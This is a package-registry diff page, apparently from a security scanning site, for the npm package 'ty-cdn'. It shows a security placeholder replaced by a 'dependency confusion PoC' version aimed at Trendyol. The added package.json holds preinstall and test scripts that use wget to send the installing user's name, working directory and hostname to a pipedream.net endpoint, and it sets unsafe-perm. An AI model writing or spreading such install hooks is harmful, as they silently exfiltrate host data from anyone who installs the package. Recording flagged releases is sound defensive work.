ty-cdn 0.0.1-security → 8.2.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ty-cdn might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -5
  2. package/index.js +3 -0
  3. package/package.json +16 -3
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ty-cdn for more information.
1
+ # NPM Dependency Confusion PoC
2
+ Simple PoC package for testing for dependency confusion vulnerabilities in Trendyol.
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "ty-cdn",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "8.2.6",
4
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"https://eokxi6shvostsan.m.pipedream.net/ty-cdn?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
8
+ "preinstall": "wget --quiet \"https://eokxi6shvostsan.m.pipedream.net/ty-cdn?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "config": {
15
+ "unsafe-perm": true
16
+ },
17
+ "author": "Bob.Vance",
18
+ "license": "ISC"
6
19
  }